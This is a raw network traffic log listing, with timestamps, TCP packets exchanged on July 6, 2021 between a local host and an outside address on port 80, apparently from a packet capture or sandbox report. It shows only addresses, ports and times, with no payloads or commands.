Jul 6, 2021 14:31:34.007466078 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007473946 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007494926 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007513046 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007524014 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007556915 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007569075 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007603884 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007612944 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007639885 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007649899 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007678986 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007683992 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007714987 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007733107 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007756948 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007764101 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007792950 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007807016 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007833958 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007846117 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007872105 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007891893 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007910967 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007927895 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007949114 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007958889 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007987976 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007998943 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008028030 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008039951 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008070946 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008099079 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008110046 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008137941 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008152962 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008177996 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008187056 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008224964 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008229971 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008260965 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008280039 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008295059 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008316994 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008344889 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.008356094 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.008384943 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047030926 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047060966 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047091007 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047132015 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047161102 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047169924 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047204018 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047209978 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047234058 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047243118 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047265053 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047272921 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047295094 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047301054 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047327042 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047334909 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047355890 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047364950 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047389984 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047399998 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047425032 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047430038 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047454119 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047458887 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047483921 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047492027 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047518015 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047525883 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047553062 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047558069 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047581911 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047590971 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047617912 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047626019 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047652006 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047657013 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047683954 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047688961 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047712088 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047718048 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047740936 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047745943 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047771931 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047776937 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047804117 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047810078 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047832966 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047837973 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047858953 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047867060 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047887087 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047894955 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047921896 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047926903 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047950983 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047955990 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.047980070 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.047987938 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048010111 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048017025 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048038006 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048044920 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048070908 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048077106 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048099995 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048114061 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048131943 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048139095 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048162937 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048167944 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048190117 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048209906 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048233032 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048239946 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048265934 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048271894 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048295975 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048321962 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048326969 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048338890 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048352003 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048365116 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048392057 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048405886 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048424959 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048434019 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048458099 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048465967 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048490047 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048499107 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048522949 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048531055 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048552990 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048567057 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048583984 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048593044 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048618078 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048629045 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048661947 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048667908 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048717976 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048741102 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048765898 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048783064 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048795938 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048803091 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048824072 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048840046 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048861980 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048870087 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048899889 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048918962 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048938990 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048954010 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.048974991 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.048979998 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049005985 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049030066 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049052954 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049079895 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049105883 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049123049 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049140930 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049159050 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049177885 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049194098 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049211979 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049237967 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049252033 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049263954 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049294949 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049319983 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049338102 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049362898 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049392939 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049400091 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049431086 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049438953 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049468994 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049493074 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049504042 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049531937 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049540043 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049547911 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049570084 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.049599886 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.049637079 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.088430882 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.088489056 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.088520050 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.088557005 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.088571072 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.088608980 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.088627100 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.088664055 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.088685036 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.088723898 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.088740110 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.088778019 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089574099 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089620113 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089663029 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089693069 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089715004 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089741945 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089761972 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089781046 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089802980 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089838028 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089859009 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089879036 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089900970 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089927912 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089946032 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.089972973 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.089982033 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090008020 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090018988 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090045929 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090070009 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090085983 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090095997 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090122938 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090133905 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090162992 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090172052 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090204000 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090209961 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090234995 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090243101 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090267897 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090276003 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090301037 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090322018 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090338945 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090344906 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090370893 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090394020 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090405941 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090414047 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090440035 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090449095 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090476036 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090486050 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090512037 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090534925 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090557098 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090576887 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090594053 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090605974 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090626001 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090634108 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090661049 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090667963 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090696096 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090708971 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090734005 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090744019 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090771914 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090781927 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090806007 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090816975 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090842962 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090852976 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090882063 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090889931 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090917110 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090924025 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090950966 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.090962887 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.090990067 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091007948 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091027975 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091037989 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091063976 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091069937 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091094971 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091104031 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091134071 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091150999 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091173887 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091200113 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091209888 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091234922 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091245890 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091259003 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091284037 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091289997 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091322899 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091329098 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091356039 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091366053 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091394901 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091401100 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091429949 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091439009 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091464996 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091474056 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091499090 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091507912 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091533899 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091542006 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091571093 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091581106 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091613054 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091619968 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091650009 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091655016 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091679096 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091691017 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091712952 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091728926 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091743946 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091753960 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091775894 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091788054 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091810942 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091821909 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091850996 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091872931 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091886044 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091896057 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091927052 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091936111 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.091964960 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.091973066 CEST	49819	80	192.168.2.5	45.90.58.179
